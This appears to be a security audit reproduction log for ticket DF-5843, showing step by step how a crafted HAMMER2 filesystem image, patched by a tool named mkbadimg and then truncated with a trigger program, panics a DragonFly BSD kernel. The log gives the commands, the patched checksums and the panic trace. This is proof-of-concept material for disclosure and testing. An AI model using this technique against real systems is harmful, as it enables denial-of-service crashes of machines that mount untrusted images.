# DF-5843 decisive run (audit guest, DragonFly 6.5-DEVELOPMENT, stock kernel)
# guest: vm.sh reset with-src -> fresh boot; commands via vm.sh run_root

# 1) pristine image + 128KB file (two direct DATA blockrefs)
root# dd if=/dev/zero of=/root/h2.img bs=1m count=2048
2147483648 bytes transferred in 1.665376 secs (1289488591 bytes/sec)
root# vnconfig -c vn0 /root/h2.img
root# newfs_hammer2 -L BAD /dev/vn0
root# mount -t hammer2 /dev/vn0@BAD /mnt
root# dd if=/dev/urandom of=/mnt/BIGTGTNAME bs=64k count=2
131072 bytes transferred in 0.000750 secs (174699775 bytes/sec)
root# sync && umount /mnt && vnconfig -u vn0
IMG_FRESH_OK

# 2) craft the image
root# /root/mkbadimg /root/h2.img BIGTGTNAME
dirhash('BIGTGTNAME') = 9311f4c3e7d28000 (informational)
file inode copy at 142606336 (0x8800000): inum=1024
  blockref[1]: type DATA(3) -> INODE(1), radix -> 10
  fix bref @142606976 (child 146866176, radix 10): check 11b1fedb97b18b39 -> 46ca569a74d2bc4f
  fix bref @142608896 (child 142606336, radix 10): check f732e27346036d16 -> 38a20049b0c30827
  fix bref @142609920 (child 142608384, radix 10): check d854291dc6eaf9ee -> f9996587a2830702
  fix bref @512 (child 142609408, radix 10): check e6ea678fa8fad7c1 -> 81fcc26a54141f7f
  vhdr: icrc_sects[6]=679e072c
  vhdr: icrc_sects[7]=e8f73695
  vhdr: icrc_volheader=29926025
  fixpoint reached after 2 iters
image patched OK (2 copy(s), 1 live)

# 3) mount crafted image + trigger
root# vnconfig -c vn0 /root/h2.img
root# mount -t hammer2 /dev/vn0@BAD /mnt
MOUNT_OK
root# ls -l /mnt/BIGTGTNAME
-rw-r--r--  1 root root wheel 131072 Oct 14 00:11 /mnt/BIGTGTNAME
root# /root/trig /mnt/BIGTGTNAME 65536
open ok fd=3, ftruncate -> 65536
    <<< ssh session hangs here (kernel panic stops all CPUs) >>>
    <<< vm.sh run_root terminated after 120s timeout; vm.sh status => down >>>

# 4) serial console (vm.sh log):
panic: assertion "0" failed in hammer2_xop_inode_chain_sync at /usr/src/sys/vfs/hammer2/hammer2_xops.c:1582
cpuid = 3
Trace beginning at frame 0xfffff801197339c0
hammer2_xop_inode_chain_sync() at hammer2_xop_inode_chain_sync+0x161 0xffffffff809806c1
hammer2_xop_inode_chain_sync() at hammer2_xop_inode_chain_sync+0x161 0xffffffff809806c1
hammer2_primary_xops_thread() at hammer2_primary_xops_thread+0x280 0xffffffff8095da30
Debugger("panic")

CPU3 stopping CPUs: 0x00000037
 stopped
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>